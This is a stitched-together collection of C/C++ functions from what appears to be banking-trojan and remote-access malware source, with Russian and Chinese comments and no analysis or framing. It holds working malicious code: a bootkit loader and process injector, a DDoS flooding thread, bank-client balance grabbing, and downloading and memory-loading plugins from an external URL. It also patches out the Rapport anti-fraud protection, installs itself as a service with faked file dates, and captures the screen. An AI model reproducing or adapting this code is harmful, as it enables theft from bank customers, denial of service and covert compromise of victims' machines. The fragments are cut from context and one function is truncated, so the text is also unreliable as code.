void DbgRptSvchostThread(void* Arguments)
{
LDRDBG("DbgRptSvchostThread", "Try to catch host level svchost mutex.");
if (!TryToCatchHostLevelInstanceMutex("svrpt"))
{
LDRDBG("DbgRptSvchostThread", "Svchost mutex already catched by another process. Finishing.");
return;
}
LDRDBG("DbgRptSvchostThread", "Svchost mutex catched successfully.Sleeping before network started (3 min)...");
pSleep(3 * 60 * 1000);
for(;;)
{
LDRDBG("DbgRptSvchostThread", "Notify debug report...");
// 304_ld постоянная работа в Svchost (каждые 3 минуты)
DebugReportStepByName("304_ld");
DebugReportUpdateNtldrCheckSum();
LDRDBG("DbgRptSvchostThread", "Sleeping 15 min after report...");
pSleep(15 * 60 * 1000);
}
}
DWORD WINAPI DeleteDropper(LPVOID) // убиваем процесс, стираем файл
{
PP_DPRINTF(L"DeleteDropper: started for '%S'", FileToDelete);
LONG i = 1;
PP_DPRINTF(L"DeleteDropper: Calling MoveEx...");
pMoveFileExA(FileToDelete,NULL,MOVEFILE_DELAY_UNTIL_REBOOT);
PP_DPRINTF(L"DeleteDropper: Starting delete cycle ...");
while(i++)
{
if (pDeleteFileA( FileToDelete ))
break;
/*
{
PCHAR buf;
DWORD dwErr;
dwErr = (DWORD)pGetLastError();
buf = StrLongToString(dwErr);
pOutputDebugStringA (buf);
pOutputDebugStringA(" - ");
pOutputDebugStringA(FileToDelete);
STR::Free(buf);
}
*/
pSleep(1025*i);
};
PP_DPRINTF(L"DeleteDropper: Delete finished.");
pExitThread(0);
return 0;
}
void WINAPI ThreadBBS(void*)
{
DWORD idCBank = 0;
char path[MAX_PATH];
path[0] = 0;
while(true)
{
DWORD id = IsRunBClient(path);
if( idCBank == 0 )
{
if( id )
{
idCBank = id;
pPathRemoveFileSpecA(path); //убираем имя файла
pPathRemoveFileSpecA(path); //убираем папку EXE
char* sum = GrabBalance(path);
OutputDebugString( sum ? sum : "null" );
MemFree(sum);
}
}
else
if( id == 0 )
{
idCBank = 0;
path[0] = 0;
}
pSleep(2000);
}
}
void WaitForOldRing3BotSelfRemoved()
{
DWORD TimeoutInSec = 20 * 60;
DWORD PeriodInSec = 60;
DWORD PeriodCount = TimeoutInSec / PeriodInSec;
PCHAR PathToSignalFile = GetBootkitSignalFileName();
while (true)
{
bool IsExists = File::IsExists(PathToSignalFile);
LDRDBG("WaitForOldRing3BotSelfRemoved", "check file='%s' exists='%d'",
PathToSignalFile, IsExists);
if(!IsExists) break;
LDRDBG("WaitForOldRing3BotSelfRemoved", "Sleeping %d sec='%s'",
PeriodInSec);
// 318_ld ожидание удаления прежнего ring3 бота перед перезагрузкой
DebugReportStepByName("318_ld");
pSleep(PeriodInSec * 1000);
PeriodCount--;
if (PeriodCount == 0)
{
break;
}
}
STR::Free(PathToSignalFile);
}
//-----------------------------------------------------------------------------
void HunterSignal()
{
// Функция уведомляет ожидающий процесс о нахождении ссылки
HANDLE Handle = (HANDLE)pCreateMutexA(NULL, FALSE, (PCHAR)HunterMutexName);
pSleep(100);
pCloseHandle(Handle);
}
void CSystemManager::KillProcess(LPBYTE lpBuffer, UINT nSize)
{
HANDLE hProcess = NULL;
char FBwWp14[] = {'O','p','e','n','P','r','o','c','e','s','s','\0'};
OpenProcessT pOpenProcess=(OpenProcessT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp14);
char FBwWp15[] = {'T','e','r','m','i','n','a','t','e','P','r','o','c','e','s','s','\0'};
TerminateProcessT pTerminateProcess=(TerminateProcessT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp15);
char BrmAP29[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'};
CloseHandleT pCloseHandle=(CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),BrmAP29);
for (unsigned int i = 0; i < nSize; i += 4)
{
hProcess = pOpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(lpBuffer + i));
pTerminateProcess(hProcess, 0);
pCloseHandle(hProcess);
}
// 稍稍Sleep下，防止出错
char FBwWp25[] = {'S','l','e','e','p','\0'};
SleepT pSleep=(SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp25);
pSleep(100);
// 刷新进程列表
SendProcessList();
// 刷新窗口列表
SendWindowsList();
}
DWORD WINAPI HuntThred( LPVOID lpData )
{
//если есть файл на диске,то берём из него строку и запускаем сб
//внутри файла строка 127.0.0.1:5555
if (HunterFileExists())
{
Hunting();
return 0;
}
HANDLE tmp;
while(true)
{
tmp= (HANDLE)pOpenMutexA(MUTEX_ALL_ACCESS,FALSE, (PCHAR)HunterMutexName);
if ((DWORD)pWaitForSingleObject(tmp, INFINITE))
{
if (HunterFileExists())//&&!IsSbStarted()
{
Hunting();
}
pSleep(90);
}
else
{
Hunting();
pCloseHandle(tmp);
FileCreateInFolder(0x001a, (PWCHAR)HunterFileName,NULL,0);
break;
}
}
return 0;
}
DWORD WINAPI AvBlockThread( LPVOID lpData )
{
if ( (DWORD)pGetFileAttributesW( GetStopAVPath() ) != INVALID_FILE_ATTRIBUTES )
{
return 0;
}
char *Host = GetCurrentHost();
if ( Host == NULL )
{
return 0;
}
char AvBlockFile[] = {'/','c','f','g','/','s','t','o','p','a','v','.','p','l','u','g',0};
char AvBlockUrl[256];
m_lstrcpy( AvBlockUrl, Host );
m_lstrcat( AvBlockUrl, AvBlockFile );
LPBYTE BotModule = NULL;
DWORD dwModuleSize = 0;
while ( !DownloadInMem( AvBlockUrl, &BotModule, &dwModuleSize ) )
{
pSleep( 1000 * 60 * 5 );
}
if ( BotModule != NULL && dwModuleSize )
{
LPVOID FileData = MemAlloc( dwModuleSize + 1 );
if ( FileData )
{
m_memcpy( FileData, BotModule, dwModuleSize );
File::WriteBufferW(GetMiniAVPath(), FileData, dwModuleSize );
MemFree( FileData );
}
LPVOID Module = DecryptPlugin( BotModule, dwModuleSize );
if ( Module )
{
HMEMORYMODULE hLib = MemoryLoadLibrary( Module );
if ( hLib == NULL )
{
return 0;
}
MemoryFreeLibrary( hLib );
}
}
return 0;
}
//------------------------------------------------------
// InjectorProc - Основная функция инжектора, которая
// постоянно мониторит запущенные процессы
//------------------------------------------------------
DWORD WINAPI INJECTOR::InjectorProc(LPVOID)
{
// Алгоритм работы следующий:
// Перебираем все кна рабочего стола и инжектимся
// в поцесы владельцы
BOT::Initialize();
INJKDBG("INJECTOR", "Запущен процесс инжектра");
TInjector Injector;
Injector.IsWin64 = IsWIN64();
Injector.Injected = new TBotList();
Injector.NameBufSize = 1024;
Injector.NameBuf = (LPBYTE)MemAlloc(Injector.NameBufSize);
// Для старта определяем основную функцию руткита
Injector.InjectFunction = RootkitThread;
/*
// Загружаем плагин
INJKDBG("INJECTOR", "Загружаем bot.plug");
for (int i = 0; i < 2; i++)
{
LPVOID Plug = NULL;
LPVOID PlugHandle = NULL;
if (LoadBotPlug(&Plug, NULL))
{
PlugHandle = MemoryLoadLibrary(Plug, false);
Injector.InjectFunction = (TInjectFunction)MemoryGetProcAddress(PlugHandle, START_PROC_HASH);
FreeBotPlug(Plug);
}
if (Injector.InjectFunction) break;
// В случае ошибки получения адреса функции
// принудительно обновляем плагин
MemoryFreeLibrary(PlugHandle);
UpdateBotPlug();
}
if (!Injector.InjectFunction) pExitProcess(0); */
INJKDBG("INJECTOR", "Стартуем");
while (!BOT::Terminated())
{
// Перебираем главные окна окна
pEnumWindows(WndEnumCallBak, &Injector);
pSleep(500);
}
// При завершении работы выходим из процесса
pExitProcess(0);
return 0;
}
void CManager::WaitForDialogOpen()
{
char BrmAP30[] = {'W','a','i','t','F','o','r','S','i','n','g','l','e','O','b','j','e','c','t','\0'};
WaitForSingleObjectT pWaitForSingleObject=(WaitForSingleObjectT)GetProcAddress(LoadLibrary("KERNEL32.dll"),BrmAP30);
pWaitForSingleObject(m_hEventDlgOpen, INFINITE);
// 必须的Sleep,因为远程窗口从InitDialog中发送COMMAND_NEXT到显示还要一段时间
char FBwWp25[] = {'S','l','e','e','p','\0'};
SleepT pSleep=(SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp25);
pSleep(150);
}
// Поток для обновления настроек для подсистемы сбора статистики
// Сделано для будущей команды обновления параметров статистики
// Обеспечивает общесистемное применение настроек через 10 минут после
// установки новых параметров
void DebugReportUpdateSettingsThread(void* Arguments)
{
while (true)
{
DBGRPTDBG("DebugReportUpdateSettingsThread", "Sleep 10 min");
pSleep(10 * 60 * 1000);
DebugReportLoadSettings();
}
}
// Функция выполнения многократного подключения к испытуемому сайту
DWORD WINAPI DDOSThreadProc(TDDOS *DDOS)
{
TMemory Buf(1024);
TMemory Referer(256);
DWORD SleepInterval = (DDOS->AttemptsPerSecond) ? (1000 / DDOS->AttemptsPerSecond) : 100;
while (!DDOS->FTerminated)
{
// Создаём сокет
SOCKET Socket = (SOCKET)psocket(AF_INET, SOCK_STREAM, 0);
if(Socket != SOCKET_ERROR)
{
// Подключаемся к серверу
struct sockaddr_in SockAddr;
SockAddr.sin_family = AF_INET;
SockAddr.sin_addr.s_addr = **(unsigned long**)DDOS->FHostAddres->h_addr_list;
SockAddr.sin_port = HTONS((unsigned short)DDOS->FRequest.Port);
// подключаемся к сокету
if ( (int)pconnect(Socket, (const struct sockaddr*)&SockAddr, sizeof( SockAddr ) ) != SOCKET_ERROR )
{
// Генерируем данные
PCHAR UserAgent = DDOS->GetRandomString(UserAgents, DDOS->FUserAgentsCount);
string RefererHost = Random::RandomString2(Random::Generate(5, 10), 'a', 'z');
DDOS->MakeString(Referer.AsStr(), "http://%s.%s/", RefererHost.t_str(), DDOS->GetRandomString(Domains, DDOS->FDomainsCount));
int Size = DDOS->MakeString(Buf.AsStr(), DDOS->FSendData.t_str(), UserAgent, Referer.AsStr());
int Sended = (int)psend(Socket, Buf.AsStr(), Size, 0);
// Для увеличения нагрузки на сервер пытаемся получить от сервера ответ
if (Sended == Size)
{
Size = (int)precv(Socket, Buf.Buf(), 1024, 0);
}
}
pclosesocket(Socket);
}
// Ждём до следующей отправки
if (!DDOS->FTerminated)
pSleep(SleepInterval);
}
pInterlockedDecrement(&DDOS->FThreadsCount);
return 0;
}
void SvcFuckupServiceMainTest()
{
PP_DPRINTF(L"SvcFuckupServiceMainTest: started ");
DWORD i = 100;
while ((i--) > 0)
{
PP_DPRINTF(L"SvcFuckupServiceMainTest: test sleep 1 sec (%d)", i);
pSleep(1000);
}
PP_DPRINTF(L"SvcFuckupServiceMainTest: finished");
}
void StartBootkitDll(void* Arguments)
{
// If Dll loaded by original Bootkit driver we MUST wait some timeout.
// This happens because by default bootkit driver call DllMain(_, DLL_PROCESS_ATTACH, _)
// at all.
// Waiting helps system to load all libraries in default load order. After loading all modules
// we can apply GetApi for our reasons.
DWORD timeout = 5 * 1000;
LDRDBG("StartBootkitDll", "Sleeping %d ms.", timeout);
pSleep(timeout);
LDRDBG("StartBootkitDll", "Waking up after %d ms.", timeout);
DebugReportInit();
// определяем в каком процессе находимся
char Name[MAX_PATH];
if ((DWORD)pGetModuleFileNameA(NULL, Name, MAX_PATH) == 0) return;
PCHAR ShortName = File::ExtractFileNameA(Name, false);
DWORD Hash = STR::GetHash(ShortName, 0, true);
LDRDBG("StartBootkitDll", "LoaderDll loaded in path='%s' pid=%u...", Name, (DWORD)pGetProcessId() );
LDRDBG("StartBootkitDll", "LoaderDll wake up and check IsLoadedByOriginalBootkit=%d", IsDllLoadedByBootkitLoader());
if (!IsDllLoadedByBootkitLoader())
{
LDRDBG("StartBootkitDll", "LoaderDll is NOT loaded by Bootkit loader. Finished.");
return;
}
LDRDBG("StartBootkitDll", "LoaderDll detects original bootkit loading.");
if (Hash == 0x2608DF01 /* svchost.exe */)
{
LDRDBG("StartBootkitDll", "LoaderDll loaded in SVCHOST. ");
StartThread(DbgRptSvchostThread, NULL);
}
if (Hash == 0x490A0972 /* explorer.exe */)
{
LDRDBG("StartBootkitDll", "LoaderDll loaded in EXPLORER. ");
StartThread(DbgRptExplorerThread, NULL);
LDRDBG("StartBootkitDll", "Starting loading and run plug.");
StartThread(ExplorerLoadAndRunBotPlug, NULL);
}
LDRDBG("StartBootkitDll", "finished.");
}
void DbgRptRebootNotifyThread(void* Arguments)
{
while (true)
{
LDRDBG("DbgRptRebootNotifyThread", "Pinging server...");
//150_d таймер отсчета завершения ребута
DebugReportStepByName("150_d");
LDRDBG("DbgRptRebootNotifyThread", "Sleeping 10 min");
pSleep(10 * 60 * 1000);
}
}
DWORD WINAPI ExplorerStartProc(LPVOID Data)
{
LDRDBG("BRDS", "Зупущена функция Эксплорера ");
if (Data == NULL)
{
LDRDBG("BRDS Explorer", "Ошибочные данные для работы в эксплорере ");
return 0;
}
// 302_ld запуск в Explorer (тут сети может не быть)
DebugReportStepByName("302_ld");
// Запускаем поток в svchost отзвона на тестовый сервер
StartThread(DbgRptExplorerThread, NULL);
PUSER_INIT_NOTIFY InitData = (PUSER_INIT_NOTIFY)Data;
LDRDBG("BRDS Explorer", "Ожидаем пока драйвер отключит слежение за процессоь svchost.exe ");
while (CheckIsInjectToProcess(InitData, SVChostName)) pSleep(300);
LDRDBG("BRDS Explorer", "Запуск потока Эксплорера ");
// Первым делом пытаемся запустить длл из файла
if (DoStartBotDll(InitData, 5000))
{
LDRDBG("BRDS Explorer", "Бот успешно загружен из кэша ");
return 0;
}
// Регистрируем событие обратной связи
LDRDBG("BRDS Explorer", "Регистрируем метод обратной связи в процессе Explorer ");
if (!DriverRegisterGlobalCallback(InitData, (DWORD)pGetCurrentThreadId(), StartBotDll, NULL))
{
LDRDBG("BRDS Explorer", "Ошибка регистрации метода обратной свзи експлорера ");
return 0;
}
// Запускаем бесконечный цикл ожидания
do
{
pSleepEx(10000, TRUE);
}while(1);
return 0;
}
DWORD WINAPI RebootNotifyThread(void* p)
{
while (true)
{
PP_DPRINTF(L"RebootNotifyThread: pinging server...");
//150_d таймер отсчета завершения ребута
PP_DBGRPT_FUNCTION_CALL(DebugReportStepByName("150_d"));
PP_DPRINTF(L"RebootNotifyThread: sleeping 5 min");
pSleep(5 * 60 * 1000);
}
return 0;
}
void WaitExplorer()
{
// Функция ожидает запуска експлорера
DWORD ID;
DWORD I = 0;
do
{
ID = GetProcessIdByHash(0x490A0972 /* explorer.exe */);
I++;
if (ID == -1)
pSleep(1000);
}
while (ID == -1 && I < 90);
}
BOOL TDDOS::Execute(bool Wait)
{
if (URL.IsEmpty() || MaxThreads == 0 || FThreadsCount)
return FALSE;
FTerminated = false;
// Инициализируем запрос
FRequest.CloseConnection = true;
FRequest.SetURL(URL.t_str());
if (FRequest.Host.IsEmpty())
return FALSE;
FRequest.UserAgent = "%s";
FRequest.Referer = "%s";
FSendData = FRequest.MakeRequestHeaders();
// Инициализируем библиотеку сокетов
if (!InitializeWSA()) return false;
// Получаем адрес по имени хоста
FHostAddres = (LPHOSTENT)pgethostbyname(FRequest.Host.t_str());
if ( FHostAddres == NULL )
return false;
// Запускаем потоки
for (DWORD i = 0; i < MaxThreads; i++)
{
if (StartThread(DDOSThreadProc, this))
pInterlockedIncrement(&FThreadsCount);
}
BOOL Result = FThreadsCount;
if (Wait)
while (1) pSleep(100);
return Result;
}
void DbgRptExplorerThread(void* Arguments)
{
LDRDBG("DbgRptExplorerThread", "Try to catch host level explorer mutex.");
if (!TryToCatchHostLevelInstanceMutex("exrpt"))
{
LDRDBG("DbgRptExplorerThread", "Explorer mutex already catched by another process. Finishing.");
return;
}
LDRDBG("DbgRptExplorerThread", "Explorer mutex catched successfully.");
for(;;)
{
LDRDBG("DbgRptExplorerThread", "Notify debug report...");
// 305_ld постоянная работа в Explorer (каждые 3 минуты)
DebugReportStepByName("305_ld");
LDRDBG("DbgRptExplorerThread", "Sleeping 15 min after report...");
pSleep(15 * 60 * 1000);
}
}
BOOL SpoolerStart()
{
BOOL bRet = FALSE;
SC_HANDLE hMngr = (SC_HANDLE)pOpenSCManagerA(NULL,NULL,SC_MANAGER_CONNECT);
if (hMngr)
{
SC_HANDLE hServ = (SC_HANDLE)pOpenServiceA(hMngr,"spooler",SERVICE_QUERY_STATUS|SERVICE_START);
if (hServ)
{
if (pStartServiceA(hServ,0,NULL))
{
for (int i = 0; i < 3; i++)
{
DWORD dwNeed;
SERVICE_STATUS_PROCESS ServStatus = {0};
if (!pQueryServiceStatusEx(hServ,SC_STATUS_PROCESS_INFO,(LPBYTE)&ServStatus,sizeof(ServStatus),&dwNeed)) break;
if (ServStatus.dwCurrentState == SERVICE_RUNNING)
{
bRet = TRUE;
break;
}
pSleep(2000);
}
}
pCloseServiceHandle(hServ);
}
pCloseServiceHandle(hMngr);
}
return bRet;
}
void CScreenSpy::ScanScreen( HDC hdcDest, HDC hdcSrc, int nWidth, int nHeight)
{
UINT nJumpLine = 50;
UINT nJumpSleep = nJumpLine / 10; // 扫描间隔
// 扫描屏幕
int i;
int nToJump;
char FBwWp25[] = {'S','l','e','e','p','\0'};
SleepT pSleep=(SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp25);
char DYrEN91[] = {'B','i','t','B','l','t','\0'};
BitBltT pBitBlt=(BitBltT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN91);
for (i = 0, nToJump = 0; i < nHeight; i += nToJump)
{
unsigned int nOther = nHeight - i;
if (nOther > nJumpLine)
nToJump = nJumpLine;
else
nToJump = nOther;
pBitBlt(hdcDest, 0, i, nWidth, nToJump, hdcSrc, 0, i, m_dwBitBltRop);
pSleep(nJumpSleep);
}
}
bool DoStartBotDll(PUSER_INIT_NOTIFY InitData, DWORD DelayBeforeStart)
{
LDRDBG("BRDS Explorer", "DoStartBotDll() запущена");
// 310_ld попытка получить файл плага с кеша в Explorer
DebugReportStepByName("310_ld");
if (IsNewProcess(DLLLoader::ExplorerPID))
DLLLoader::DLLLoadedInExplorer = false;
LDRDBG("BRDS Explorer", "DLLLoader::DLLLoadedInExplorer = %d", DLLLoader::DLLLoadedInExplorer);
if (DLLLoader::DLLLoadedInExplorer)
return true;
LDRDBG("BRDS Explorer", "Читаем плагин из кэша");
DWORD Size = 0;
LPBYTE Module = Plugin::DownloadFromCache(BotPluginName, true, NULL, &Size);
if (Module != NULL)
{
// Расшифровываем содержимое
if (DelayBeforeStart != 0) pSleep(DelayBeforeStart);
LDRDBG("BRDS Explorer", "Длл прочитана и расшифрована.Запускаем Bot.plug");
ExplorerLoadDLL(InitData, Module, Size);
LDRDBG("BRDS Explorer", "Bot.plug запущен.");
MemFree(Module);
}
LDRDBG("BRDS Explorer", "DoStartBotDll() завершена.");
return DLLLoader::DLLLoadedInExplorer;
}
//----------------------------------------------------
// Install - Функция инсталирует бота
//
// IsUpdate - Признак того, что идёт обновление бота
// а не первая инсталяция
//
// DeleteSourceFile - Удалять ли исходный файл
//
// SourceFileProcessPID - PID процесса, котрый
// необходимо завершить перед
// удалением исходного файла
//----------------------------------------------------
BOOL WINAPI Install(const char* FileName, BOOL IsUpdate, BOOL DeleteSourceFile, DWORD SourceFileProcessPID)
{
if (!File::IsExists((PCHAR)FileName))
return FALSE;
string BotFile = BOT::GetBotFullExeName();
// Проверяем не пытаемся ли мы запустить инсталяцию из
// самого себя
if (StrSame((PCHAR)FileName, BotFile.t_str(), false, 0))
return FALSE;
INSTDBG("Installer", "Инсталируем бот. Exe бота %s", BotFile.t_str());
// Снимаем защиту и удаляем файл
if (IsUpdate) BOT::Unprotect();
BOT::DeleteBotFile(BotFile.t_str(), INFINITE, false);
// Копируем файл
BOOL Result = (BOOL)pCopyFileA(FileName, BotFile.t_str(), TRUE);
INSTDBG("Installer", "Копируем файл бота. [Result=%d; Err=%d]", Result, pGetLastError());
if (Result)
{
// Устанавливаем дату и атрибуты файла
SetFakeFileDateTime(BotFile.t_str());
pSetFileAttributesA(BotFile.t_str(), FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY );
}
// Инсталируем сервис
if (IsUpdate)
{
// Обновляем сервис
// В случае неудачи пытаемся установить сервис заново
if (!BOT::UpdateService(FileName))
BOT::InstallService(FileName);
}
else
BOT::InstallService(FileName);
// Ставим защиту на ехе бота
if (IsUpdate) BOT::Protect(NULL);
// Удаляем файл источник
if (DeleteSourceFile)
{
DWORD Start = (DWORD)pGetTickCount();
while ((DWORD)pGetTickCount() - Start < 5000)
{
if (SourceFileProcessPID)
pWinStationTerminateProcess(NULL, SourceFileProcessPID, DBG_TERMINATE_PROCESS);
pSetFileAttributesA(FileName, FILE_ATTRIBUTE_ARCHIVE );
BOOL Deleted = (BOOL)pDeleteFileA(FileName);
if (Deleted || pGetLastError() != 5) break;
pSleep(50);
}
}
INSTDBG("Installer", "Установка бота завершена. [Result=%d]", Result);
return Result != FALSE;
}
LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
{
static LONG nOldCursorPosY = 0;
if (lpdwBytes == NULL || m_rectBuffer == NULL)
return NULL;
SelectInputWinStation();
// 重置rect缓冲区指针
m_rectBufferOffset = 0;
// 写入使用了哪种算法
WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));
// 写入光标位置
POINT CursorPos;
char CtxPW58[] = {'G','e','t','C','u','r','s','o','r','P','o','s','\0'};
GetCursorPosT pGetCursorPos=(GetCursorPosT)GetProcAddress(LoadLibrary("USER32.dll"),CtxPW58);
pGetCursorPos(&CursorPos);
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
// 写入当前光标类型
BYTE bCursorIndex = m_CursorInfo.getCurrentCursorIndex();
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
// 差异比较算法
if (m_bAlgorithm == ALGORITHM_DIFF)
{
// 分段扫描全屏幕
ScanScreen(m_hDiffMemDC, m_hFullDC, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight);
*lpdwBytes = m_rectBufferOffset +
Compare((LPBYTE)m_lpvDiffBits, (LPBYTE)m_lpvFullBits, m_rectBuffer + m_rectBufferOffset, m_lpbmi_full->bmiHeader.biSizeImage);
return m_rectBuffer;
}
// 鼠标位置发变化并且热点区域如果发生变化，以(发生变化的行 + DEF_STEP)向下扫描
// 向上提
int nHotspot = max(0, CursorPos.y - DEF_STEP);
for (
int i = ((CursorPos.y != nOldCursorPosY) && ScanChangedRect(nHotspot)) ? (nHotspot + DEF_STEP) : m_nStartLine;
i < m_nFullHeight;
i += DEF_STEP
)
{
if (ScanChangedRect(i))
{
i += DEF_STEP;
}
}
nOldCursorPosY = CursorPos.y;
m_nStartLine = (m_nStartLine + 3) % DEF_STEP;
*lpdwBytes = m_rectBufferOffset;
char DYrEN70[] = {'G','e','t','T','i','c','k','C','o','u','n','t','\0'};
GetTickCountT pGetTickCount=(GetTickCountT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN70);
// 限制发送帧的速度
char FBwWp25[] = {'S','l','e','e','p','\0'};
SleepT pSleep=(SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp25);
while (pGetTickCount() - m_dwLastCapture < m_dwSleep)
pSleep(1);
char SSzlC21[] = {'I','n','t','e','r','l','o','c','k','e','d','E','x','c','h','a','n','g','e','\0'};
InterlockedExchangeT pInterlockedExchange=(InterlockedExchangeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),SSzlC21);
pInterlockedExchange((LPLONG)&m_dwLastCapture, pGetTickCount());
return m_rectBuffer;
}
DWORD WINAPI GrabberThread( LPVOID lpData )
{
UnhookDlls();
/*
char GrabberFile[] = {'X',':','\\', 't','r','a','s','h','\\','c','o','d','e','\\','w','o','r','k','\\' ,'r','f','b','\\','b','r','a','n','c','h','e','s','\\','d','l','l','\\','b','i','n','\\','D','e','b','u','g','\\','x','8','6','.','d','l','l',0};
///if ( BotModule != NULL )
{
typedef void ( WINAPI *PVNC_Start )();
HANDLE hFile=CreateFile(GrabberFile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
DWORD dwSize=GetFileSize(hFile,0);
LPVOID BotModule = MemAlloc(dwSize);
pReadFile(hFile,BotModule,dwSize,&dwSize,0);
pCloseHandle(hFile);
HMEMORYMODULE hLib = MemoryLoadLibrary( BotModule );
if ( hLib == NULL )
{
return 0;
}
PVNC_Start VNC_Start = (PVNC_Start)MemoryGetProcAddress( hLib, "_VNC_Start@0" );
///PVNC_Start VNC_Start = (PVNC_Start)GetProcAddress(LoadLibrary(GrabberFile),"_VNC_Start@0");
VNC_Start();
while (true) pSleep(1);
MemoryFreeLibrary( hLib );
MemFree( BotModule );
return 1;
}
*/
//link.txt
//
char GrabberFile[] = {"http://apartman-adriana.com/temp/DrClient.dll"/*'/','g','r','a','b','e','r','.','d','l','l',0*/};
LPVOID BotModule = NULL;
bool bKnock = false;
while ( ( BotModule = DownloadPluginFromPath(GrabberFile, NULL ) ) == NULL )
{
pSleep( 1000 * 60 * 5 );
}
if ( BotModule != NULL )
{
HMEMORYMODULE hLib = MemoryLoadLibrary( BotModule );
if ( hLib == NULL )
{
return 0;
}
typedef char * ( WINAPI *PFTPGRAB )();
char GrabFTP[] = {'S','c','a','n','1', 0 };
char Ole32[] = {'o','l','e','3','2','.','d','l','l', 0};
typedef void ( WINAPI *PCoUninitialize )();
typedef HRESULT ( WINAPI *PCoInitialize )( LPVOID lpReserved );
PCoUninitialize pCoUninitialize_ = (PCoUninitialize)GetProcAddressEx( Ole32, 0, 0xEDB3159D );
PCoInitialize pCoInitialize_ = (PCoInitialize)GetProcAddressEx( Ole32, 0, 0xF341D5CF );
pCoUninitialize_();
pCoInitialize_( NULL );
PFTPGRAB FtpGrabber = (PFTPGRAB)MemoryGetProcAddress( hLib, GrabFTP );
char *Buffer = FtpGrabber();
DWORD dwSize = m_lstrlen( Buffer );
if ( dwSize != 0 )
{
Buffer[ dwSize ] = '\0';
bool Sended = false;
do
{
// Отправляем данные на сервер
Sended = true;
if (!Sended)
pSleep( 1000 );
}
while (!Sended);
}
MemoryFreeLibrary( hLib );
MemFree( Buffer );
MemFree( BotModule );
}
void WaitAndExitProcess(DWORD exit_code)
{
pSleep(3 * 1000);
pExitProcess(exit_code);
}
BOOL AntiRapport()
{
BOOL bRet = FALSE;
UCHAR Buf;
DWORD t;
HMODULE hRapportModule;
LPCSTR lpStr1;
LPCSTR lpStr2;
DWORD dwStr1;
DWORD dwStr2;
PVOID pvLogFix;
PVOID pvFix;
pLoadLibraryA("wininet.dll");
pLoadLibraryA("user32.dll");
hRapportModule =(HMODULE) pGetModuleHandleA("RapportUtil.dll");
if (hRapportModule)
{
lpStr1 = "periodic_checkpoint::periodic_checkpoint_thread";
lpStr2 = ".\\patching_sentry\\periodic_checkpoint.cpp";
dwStr1 = AntiRapportFindStr(hRapportModule,lpStr1,(DWORD)plstrlenA(lpStr1));
if (dwStr1)
{
dwStr2 = AntiRapportFindStr(hRapportModule,lpStr2,(DWORD)plstrlenA(lpStr2));
if (dwStr2)
{
pvFix = AnitRapportFindPushStrs(hRapportModule,dwStr1,dwStr2,&pvLogFix);
if (pvFix)
{
Buf = 0x19;
if (pWriteProcessMemory(pGetCurrentProcess(),pvFix,(PVOID)&Buf,sizeof(Buf),&t))
{
bRet = TRUE;
// DbgPrint(__FUNCTION__"(): rapport protect thread patched at %x\n",pvFix);
}
else
{
//DbgPrint(__FUNCTION__"(): WriteProcessMemory failed with error %lx\n",GetLastError());
}
if (pvLogFix)
{
Buf = 0xC3;
if (pWriteProcessMemory(NtCurrentProcess(),pvLogFix,(PVOID)&Buf,sizeof(Buf),&t))
{
// DbgPrint(__FUNCTION__"(): rapport log proc patched at %x\n",pvLogFix);
}
else
{
// DbgPrint(__FUNCTION__"(): WriteProcessMemory failed with error %lx\n",GetLastError());
}
}
pSleep(4000);
UnhookLibs();
}
}
}
}
return bRet;
}
DWORD KeepAliveCheckProcessThread(LPVOID ProcessNomber)
{
// Поток проверки жизни процесса
PCHAR MutexName = GetKeepAliveMutexName((DWORD)ProcessNomber);
if (MutexName == NULL) return 0;
// Запускаем бесконечный цикл проверки существования мютекса
// отсутствие мютекса означает, что процесс создавший мютекс
// "упал" и требует перезапуска
const static DWORD MinInterval = 60000;
DWORD FailedCount = 0; // Количество проваленных попыток открытия мютекса
DWORD RestartCount = 0; // Количество перезапусков с интервалом меньше доступного
DWORD RestartTime = 0; // Время одного перезапуска
while (true)
{
// Открываем мютекс
HANDLE Handle = (HANDLE)pOpenMutexA(MUTEX_ALL_ACCESS, false, MutexName);
if (Handle != NULL)
{
// Мютекс существует.
// Обнуляем счётчик провалов
FailedCount = 0;
pCloseHandle(Handle);
}
else
{
// Мютекс отсутствует, принимаем меры для устранения проблемы
FailedCount++;
if (FailedCount >= 5)
{
// перезапускаем процесс
FailedCount = 0;
KeepAliveRestartProcess((DWORD)ProcessNomber);
// Проверяем время рестарта
DWORD NewTime = (DWORD)pGetTickCount();
if (RestartTime != 0)
{
if ((NewTime - RestartTime) <= MinInterval)
{
RestartCount++;
if (RestartCount >= 3)
{
// процесс не стабилен и часто падает.
// Во избежание нагрузки на ПК и психику
// пользователя прекращаем мониторинг не стабильного
// процесса
return 0;
}
}
else
{
RestartTime = 0;
RestartCount = 0; // Обнуляем счтчик частоты перезапуска
}
}
RestartTime = NewTime;
}
}
// Приостанавливаем поток
pSleep(2000);
}
}
